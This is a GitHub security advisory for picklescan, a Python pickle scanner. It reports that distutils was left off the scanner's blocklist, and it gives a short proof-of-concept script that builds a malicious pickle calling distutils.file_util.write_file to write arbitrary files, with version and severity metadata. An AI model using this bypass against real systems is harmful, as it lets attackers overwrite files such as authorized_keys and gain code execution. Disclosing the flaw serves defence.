GHSA-M273-6V24-X4M4
Vulnerability from github – Published: 2025-12-29 15:22 – Updated: 2025-12-29 15:22
VLAI?
Summary
Picklescan vulnerable to Arbitrary File Writing
Details
Summary
Picklescan has got open() and shutil in its default dangerous blocklist to prevent arbitrary file overwrites. However the module distutils isnt blocked and can be used for the same purpose ie to write arbitrary files.
Details
This is another vulnerability which impacts the downstream user.
By constructing a pickle that user distutils.file_util.write_file, an attacker can overwrite critical system files (like .ssh/authorized_keys, web server configurations, or source code) to achieve DoS or escalate to RCE.
PoC
import pickle
import distutils.file_util
class FileWriteBypass:
def __reduce__(self):
target_file = "pwned_config.env"
content = ["print('I have overwritten your config')"]
return (distutils.file_util.write_file, (target_file, content))
payload = pickle.dumps(FileWriteBypass())
with open("bypass_filewrite.pkl", "wb") as f:
f.write(payload)
print("bypass_filewrite.pkl")
To fix this just add disutil to the blacklist
Severity ?
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "picklescan"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.33"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-502",
"CWE-552"
],
"github_reviewed": true,
"github_reviewed_at": "2025-12-29T15:22:30Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nPicklescan has got open() and shutil in its default dangerous blocklist to prevent arbitrary file overwrites. However the module distutils isnt blocked and can be used for the same purpose ie to write arbitrary files.\n\n### Details\nThis is another vulnerability which impacts the downstream user.\n\nBy constructing a pickle that user distutils.file_util.write_file, an attacker can overwrite critical system files (like .ssh/authorized_keys, web server configurations, or source code) to achieve DoS or escalate to RCE.\n\n### PoC\n```python\nimport pickle\nimport distutils.file_util\n\nclass FileWriteBypass:\n def __reduce__(self):\n \n target_file = \"pwned_config.env\"\n content = [\"print(\u0027I have overwritten your config\u0027)\"]\n \n return (distutils.file_util.write_file, (target_file, content))\n\npayload = pickle.dumps(FileWriteBypass())\nwith open(\"bypass_filewrite.pkl\", \"wb\") as f:\n f.write(payload)\n\nprint(\"bypass_filewrite.pkl\")\n```\n\n\u003cimg width=\"853\" height=\"197\" alt=\"image\" src=\"https://github.com/user-attachments/assets/a129f5aa-a050-4e88-adb7-5a6f93e35b65\" /\u003e\n\nTo fix this just add disutil to the blacklist",
"id": "GHSA-m273-6v24-x4m4",
"modified": "2025-12-29T15:22:30Z",
"published": "2025-12-29T15:22:30Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-m273-6v24-x4m4"
},
{
"type": "WEB",
"url": "https://github.com/mmaitre314/picklescan/pull/53"
},
{
"type": "WEB",
"url": "https://github.com/mmaitre314/picklescan/commit/70c1c6c31beb6baaf52c8db1b6c3c0e84a6f9dab"
},
{
"type": "PACKAGE",
"url": "https://github.com/mmaitre314/picklescan"
},
{
"type": "WEB",
"url": "https://github.com/mmaitre314/picklescan/releases/tag/v0.0.33"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "Picklescan vulnerable to Arbitrary File Writing"
}
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Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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